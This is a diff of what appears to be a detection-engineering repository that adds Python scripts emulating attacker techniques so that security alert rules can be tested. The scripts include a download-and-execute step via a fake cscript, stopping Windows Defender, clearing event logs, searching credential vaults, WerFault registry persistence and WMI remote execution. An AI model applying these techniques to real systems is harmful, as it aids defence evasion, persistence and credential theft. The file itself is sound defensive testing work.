+@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + posh = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\posh.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\mstscax.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(user32, dll) + common.copy_file(powershell, posh) + common.copy_file(PS1_FILE, ps1) + + common.log("Loading mstscax.dll into posh") + common.execute( + [ + posh, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll};", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "3389", + ], + timeout=10, + ) + common.remove_files(dll, ps1, posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/user_action_script.py b/rta/user_action_script.py new file mode 100644 index 000000000..a4b8fab4c --- /dev/null +++ b/rta/user_action_script.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4e63cb99-b56d-4c75-9cda-3a7f30861d35", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Persistence via Folder Action Script", "rule_id": "c292fa52-4115-408a-b897-e14f684b3cb7"}], + techniques=["T1037", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/com.apple.foundation.UserScriptService" + masquerade2 = "/tmp/osascript" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake commands to mimic modification of a Folder Action script") + common.execute([masquerade, "childprocess", masquerade2], timeout=1, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/user_dir_escalation.py b/rta/user_dir_escalation.py index 0516c7199..a0c94232f 100644 --- a/rta/user_dir_escalation.py +++ b/rta/user_dir_escalation.py @@ -11,9 +11,13 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="dc734786-66bd-4be6-bd06-eb41fa7b6745", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC) def main(): # make sure path is absolute for psexec diff --git a/rta/user_mode_smb_connection.py b/rta/user_mode_smb_connection.py new file mode 100644 index 000000000..891ed451d --- /dev/null +++ b/rta/user_mode_smb_connection.py @@ -0,0 +1,48 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="8ce1099f-26e7-45ea-a7a9-9ab0926a2c4a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Unexpected SMB Connection from User-mode Process", + "rule_id": "2fbbd139-3919-4b6b-9c50-9452b0aef005", + } + ], + siem=[], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + posh = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\posh.exe" + + # Execute command + common.copy_file(powershell, posh) + common.log("Testing connection to Portquiz at Port 445") + common.execute( + [ + posh, + "/c", + "Test-NetConnection", + "-ComputerName", + "portquiz.net", + "-Port", + "445", + ], + timeout=10, + ) + common.remove_files(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/vaultcmd_commands.py b/rta/vaultcmd_commands.py index 7159ff57c..69aad84bb 100644 --- a/rta/vaultcmd_commands.py +++ b/rta/vaultcmd_commands.py @@ -11,9 +11,21 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="53d071d9-36e3-4b40-83c8-d818bd831010", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "be8afaed-4bcd-4e0a-b5f9-5562003dde81", "rule_name": "Searching for Saved Credentials via VaultCmd"} + ], + techniques=["T1555", "T1003"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Searching Credential Vaults via VaultCmd") diff --git a/rta/webproxy_modification.py b/rta/webproxy_modification.py new file mode 100644 index 000000000..145b7bf0a --- /dev/null +++ b/rta/webproxy_modification.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="bc6130d9-f4fd-46c6-bcfe-623be6c51a3b", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "WebProxy Settings Modification", "rule_id": "10a500bb-a28f-418e-ba29-ca4c8d1a9f2f"}], + techniques=["T1539"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/networksetup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake networksetup commands to configure webproxy settings") + common.execute([masquerade, "-setwebproxy"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/webservice_lolbas.py b/rta/webservice_lolbas.py new file mode 100644 index 000000000..0bbba801e --- /dev/null +++ b/rta/webservice_lolbas.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b7a7d246-b1ef-4d08-85ce-92e1cfc18520", + platforms=["windows"], + endpoint=[ + { + "rule_name": "External IP Address Discovery via a Trusted Program", + "rule_id": "51894221-7657-4b56-9406-e080e19ad159", + }, + { + "rule_name": "Connection to WebService by a Signed Binary Proxy", + "rule_id": "c567240c-445b-4000-9612-b5531e21e050", + }, + ], + siem=[], + techniques=["T1102", "T1218", "T1016", "T1071"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + + # Execute command + common.log("Retrieving the public IP Address using ipify") + common.execute( + [powershell, "/c", "iwr", "http://api.ipify.org/", "-UseBasicParsing"], + timeout=10, + ) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/webservice_unsigned.py b/rta/webservice_unsigned.py new file mode 100644 index 000000000..d6a025c9e --- /dev/null +++ b/rta/webservice_unsigned.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="049f1e5e-99a9-4a0f-afac-b7b41b96ed12", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Connection to WebService by an Unsigned Binary", + "rule_id": "2c3efa34-fecd-4b3b-bdb6-30d547f2a1a4", + } + ], + siem=[], + techniques=["T1102", "T1071"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + posh = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, posh) + + # Execute command + common.log("Using PowerShell to connect to Google Drive") + common.execute([posh, "/c", "iwr", "https://drive.google.com", "-UseBasicParsing"], timeout=10) + common.remove_file(posh) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/werfault_masquerading.py b/rta/werfault_masquerading.py new file mode 100644 index 000000000..c37f52f24 --- /dev/null +++ b/rta/werfault_masquerading.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="41c82553-01c2-41d6-a15d-3499fa99b4c0", + platforms=["windows"], + endpoint=[ + {"rule_name": "Windows Error Manager/Reporting Masquerading", "rule_id": "3d16f5f9-da4c-4b15-a501-505761b75ca6"} + ], + siem=[], + techniques=["T1055", "T1036"], +) + +EXE_FILE = common.get_path("bin", "regsvr32.exe") + + +@common.requires_os(metadata.platforms) +def main(): + werfault = "C:\\Users\\Public\\werfault.exe" + + common.copy_file(EXE_FILE, werfault) + common.log("Making connection using fake werfault.exe") + common.execute([werfault], timeout=10, kill=True) + common.remove_file(werfault) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/werfault_persistence.py b/rta/werfault_persistence.py index 499e014e1..06f729786 100644 --- a/rta/werfault_persistence.py +++ b/rta/werfault_persistence.py @@ -12,31 +12,61 @@ import time from . import common +from . import RtaMetadata MY_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="cbd90dde-02f4-4010-b654-ccabff3c3c73", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "ac5012b8-8da8-440b-aaaf-aedafdea2dff", "rule_name": "Suspicious WerFault Child Process"}], + techniques=["T1036"], +) + + +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP) def main(): reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'" reg_name = "ReflectDebugger" - commands = ["C:\\Windows\\system32\\calc.exe", - "'powershell -c calc.exe'", - MY_APP] + commands = ["C:\\Windows\\system32\\calc.exe", "'powershell -c calc.exe'", MY_APP] for command in commands: common.log("Setting WerFault reg key to {}".format(command)) - common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key, - "-Name", reg_name, "-Value", command], wait=False) + common.execute( + [ + "powershell", + "-c", + "New-ItemProperty", + "-Path", + reg_key, + "-Name", + reg_name, + "-Value", + command, + ], + wait=False, + ) time.sleep(1) common.log("Running WerFault.exe -pr 1") common.execute(["werfault", "-pr", "1"], wait=False) time.sleep(2.5) - common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name]) + common.execute( + [ + "powershell", + "-c", + "Remove-ItemProperty", + "-Path", + reg_key, + "-Name", + reg_name, + ] + ) common.log("Cleaning up") @@ -45,5 +75,5 @@ def main(): common.execute(["taskkill", "/F", "/im", "myapp.exe"]) -if __name__ == '__main__': +if __name__ == "__main__": exit(main()) diff --git a/rta/wevtutil_log_clear.py b/rta/wevtutil_log_clear.py index ac7a0662a..820258ed2 100644 --- a/rta/wevtutil_log_clear.py +++ b/rta/wevtutil_log_clear.py @@ -12,9 +12,19 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="12b28e92-281f-49a7-a8b3-54681ba6d63e", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "d331bbe2-6db4-4941-80a5-8270db72eb61", "rule_name": "Clearing Windows Event Logs"}], + techniques=["T1070"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Clearing Windows Event Logs") common.log("WARNING - About to clear logs from Windows Event Viewer", log_type="!") diff --git a/rta/windefend_svc_stop.py b/rta/windefend_svc_stop.py new file mode 100644 index 000000000..0dafb8ce4 --- /dev/null +++ b/rta/windefend_svc_stop.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="811ccfc2-d0fc-4a2a-85f6-6dc1235278bf", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Attempt to Disable Windows Defender Services", + "rule_id": "32ab2977-2932-4172-9117-36e382591818", + }, + ], + siem=[], + techniques=["T1562", "T1036"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + tempshell = "C:\\Users\\Public\\powershell.exe" + common.copy_file(powershell, tempshell) + + # Execute command + common.log("Attempting to stop Windefend, which will not work unless running as SYSTEM") + common.execute([tempshell, "/c", "sc.exe stop Windefend"]) + common.remove_file(tempshell) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/windows_script_host_file_written_exec.py b/rta/windows_script_host_file_written_exec.py new file mode 100644 index 000000000..d3bd19fd8 --- /dev/null +++ b/rta/windows_script_host_file_written_exec.py @@ -0,0 +1,52 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6ffcba60-acde-46e2-994a-a79ec8e07ef3", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Execution of a File Written by Windows Script Host", + "rule_id": "49e47c2a-307f-4591-939a-dfdae6e5156c", + }, + { + "rule_name": "Suspicious Windows Script Interpreter Child Process", + "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", + }, + ], + siem=[], + techniques=["T1055", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + server, ip, port = common.serve_web() + url = f"http://{ip}:{port}/bin/renamed_posh.exe" + + cscript = "C:\\Users\\Public\\cscript.exe" + dropped = "C:\\Users\\Public\\posh.exe" + common.copy_file(EXE_FILE, cscript) + + cmd = f"Invoke-WebRequest -Uri {url} -OutFile {dropped}" + + # Execute command + common.log("Using a fake cscript to drop and execute an .exe") + common.execute([cscript, "/c", cmd], timeout=10) + common.execute([cscript, "/c", dropped], timeout=10, kill=True) + common.remove_file(cscript) + common.remove_file(dropped) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/winrar_encrypted.py b/rta/winrar_encrypted.py index 4908dc9b2..18669ded0 100644 --- a/rta/winrar_encrypted.py +++ b/rta/winrar_encrypted.py @@ -13,6 +13,17 @@ import os import sys from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="6d2d3c21-2d71-4395-8ab7-b1d0138d9225", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "45d273fb-1dca-457d-9855-bcb302180c21", "rule_name": "Encrypting Files with WinRar or 7z"}], + techniques=["T1560"], +) + MY_APP = common.get_path("bin", "myapp.exe") WINRAR = common.get_path("bin", "Rar.exe") @@ -20,12 +31,12 @@ WINRAR = common.get_path("bin", "Rar.exe") def create_exfil(path=os.path.abspath("secret_stuff.txt")): common.log("Writing dummy exfil to %s" % path) - with open(path, 'wb') as f: + with open(path, "wb") as f: f.write(base64.b64encode(b"This is really secret stuff" * 100)) return path -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(MY_APP, WINRAR) def main(password="s0l33t"): # Copies of the rar.exe for various tests diff --git a/rta/winrar_startup_folder.py b/rta/winrar_startup_folder.py index 3e60a5a4a..9896a0a00 100644 --- a/rta/winrar_startup_folder.py +++ b/rta/winrar_startup_folder.py @@ -11,18 +11,25 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="6d2d3c21-2d71-4395-8ab7-b1d0138d9225", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("WinRAR StartUp Folder Persistence") - win_rar_path = os.path.abspath('WinRAR.exe') - ace_loader_path = os.path.abspath('Ace32Loader.exe') - batch_file_path = '\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat' - startup_path = os.environ['USERPROFILE'] + batch_file_path + win_rar_path = os.path.abspath("WinRAR.exe") + ace_loader_path = os.path.abspath("Ace32Loader.exe") + batch_file_path = "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mssconf.bat" + startup_path = os.environ["USERPROFILE"] + batch_file_path common.copy_file("C:\\Windows\\System32\\cmd.exe", win_rar_path) common.copy_file("C:\\Windows\\System32\\cmd.exe", ace_loader_path) - common.execute([win_rar_path, '/c', ace_loader_path, '/c', 'echo', 'test', '^>', startup_path], kill=True) + common.execute( + [win_rar_path, "/c", ace_loader_path, "/c", "echo", "test", "^>", startup_path], + kill=True, + ) common.remove_file(startup_path) common.remove_file(ace_loader_path) common.remove_file(win_rar_path) diff --git a/rta/wmi_incoming_logon.py b/rta/wmi_incoming_logon.py index d9db0f8e4..5175a8d1c 100644 --- a/rta/wmi_incoming_logon.py +++ b/rta/wmi_incoming_logon.py @@ -11,29 +11,39 @@ import sys from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="3adf005f-94b8-4b34-8994-d5a3dc6666c2", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f3475224-b179-4f78-8877-c2bd64c26b88", "rule_name": "WMI Incoming Lateral Movement"}], + techniques=["T1047"], +) + + +@common.requires_os(metadata.platforms) def main(remote_host=None): if not remote_host: - common.log('A remote host is required to detonate this RTA', '!') + common.log("A remote host is required to detonate this RTA", "!") return common.MISSING_REMOTE_HOST common.enable_logon_auditing(remote_host) - common.log('Attempting to trigger a remote logon on {}'.format(remote_host)) + common.log("Attempting to trigger a remote logon on {}".format(remote_host)) commands = [ - 'Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}'.format(remote_host, c) - for c in ('ipconfig', 'netstat') + "Invoke-WmiMethod -ComputerName {} -Class Win32_process -Name create -ArgumentList {}".format(remote_host, c) + for c in ("ipconfig", "netstat") ] # trigger twice for command in commands: - common.execute(['powershell', '-c', command]) + common.execute(["powershell", "-c", command]) # this should not trigger an alert - common.execute(['net.exe', 'time', '\\\\{}'.format(remote_host)]) + common.execute(["net.exe", "time", "\\\\{}".format(remote_host)]) if __name__ == "__main__": diff --git a/rta/wmic_xsl_exec.py b/rta/wmic_xsl_exec.py new file mode 100644 index 000000000..dc1235c80 --- /dev/null +++ b/rta/wmic_xsl_exec.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b9d5427a-33c4-4b1d-838d-f47c5f3b0b43", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Suspicious WMIC XSL Script Execution", "rule_id": "18371ec4-ee2f-465b-8757-ee726914006c"}, + ], + siem=[], + techniques=["T1220", "T1047", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + wmic = "C:\\Users\\Public\\wmic.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\jscript.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + common.copy_file(EXE_FILE, wmic) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + + common.log("Loading jscript.dll into fake wmic") + common.execute( + [wmic, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}; echo /format:"], + timeout=10, + ) + + common.remove_files(wmic, dll, ps1) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/wuauclt_image_load.py b/rta/wuauclt_image_load.py new file mode 100644 index 000000000..9d16216d6 --- /dev/null +++ b/rta/wuauclt_image_load.py @@ -0,0 +1,62 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="42eed432-af05-45d3-b788-7e3220f81f9a", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Suspicious ImageLoad via Windows Update Auto Update Client", + "rule_id": "3788c03d-28a5-4466-b157-d6dd4dc449bb", + } + ], + siem=[], + techniques=["T1218"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + wuauclt = "C:\\Users\\Public\\wuauclt.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\unsigned.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, wuauclt) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Modify the originalfilename to invalidate the code sig + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "unsigned.exe"]) + + common.log("Loading unsigned.dll into fake wuauclt") + common.execute( + [ + wuauclt, + "-c", + f"Import-Module {ps1}; Invoke-ImageLoad {dll}", + ";echo", + "/RunHandlerComServer", + ";echo", + "/UpdateDeploymentProvider", + ], + timeout=10, + ) + + common.remove_files(wuauclt, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/tests/test_all_rules.py b/tests/test_all_rules.py index d22ae481f..050ff4d93 100644 --- a/tests/test_all_rules.py +++ b/tests/test_all_rules.py @@ -21,7 +21,7 @@ from detection_rules.schemas import definitions from detection_rules.semver import Version from detection_rules.utils import get_path, load_etc_dump from detection_rules.version_lock import default_version_lock -from rta import get_ttp_names +from rta import get_available_tests from .base import BaseRuleTest @@ -59,7 +59,7 @@ class TestValidRules(BaseRuleTest): def test_production_rules_have_rta(self): """Ensure that all production rules have RTAs.""" mappings = load_etc_dump('rule-mapping.yml') - ttp_names = get_ttp_names() + ttp_names = sorted(get_available_tests()) for rule in self.production_rules: if isinstance(rule.contents.data, QueryRuleData) and rule.id in mappings: diff --git a/tests/test_mappings.py b/tests/test_mappings.py index 5e441c539..77a1b05ba 100644 --- a/tests/test_mappings.py +++ b/tests/test_mappings.py @@ -5,10 +5,12 @@ """Test that all rules appropriately match against expected data sets.""" import copy +import unittest import warnings from . import get_data_files, get_fp_data_files from detection_rules.utils import combine_sources, evaluate, load_etc_dump +from rta import get_available_tests from .base import BaseRuleTest @@ -66,3 +68,19 @@ class TestMappings(BaseRuleTest): for fp_name, merged_data in get_fp_data_files().items(): msg = 'Unexpected FP match for: {} - {}, against: {}'.format(rule.id, rule.name, fp_name) self.evaluate(copy.deepcopy(merged_data), rule, 0, msg) + + +class TestRTAs(unittest.TestCase): + """Test that all RTAs have appropriate fields added.""" + + def test_rtas_with_triggered_rules_have_uuid(self): + """Ensure that all RTAs with triggered rules have a UUID.""" + + rule_keys = ["rule_id", "rule_name"] + for rta_test in sorted(get_available_tests().values(), key=lambda r: r['name']): + + self.assertIsNotNone(rta_test.get("uuid"), f'RTA {rta_test.get("name")} missing uuid') + for rule_info in rta_test.get("siem"): + for rule_key in rule_keys: + self.assertIsNotNone(rule_info.get(rule_key), + f'RTA {rta_test.get("name")} - {rta_test.get("uuid")} missing {rule_key}')